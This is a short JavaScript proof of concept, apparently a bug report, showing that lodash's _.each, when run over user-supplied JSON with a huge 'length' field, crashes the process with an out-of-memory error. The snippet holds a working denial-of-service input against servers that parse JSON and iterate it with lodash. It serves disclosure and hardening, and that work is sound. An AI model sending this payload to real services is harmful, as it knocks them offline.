DOS via lodash _.each over user input

lodash_dos.js

var _ = require('lodash');
// Assume user can send us JSON. E.g. we accept Content-type: application/json
var obj = {"keyFoo": "bar", "length": 1000000000};
var badKeys = [];
// Lets validate user keys:
_.each(obj, (v,k) => /^key/.test(k) || badKeys.push(k));

// expected
// badKeys is ["length"]
// actual
// crash with OOM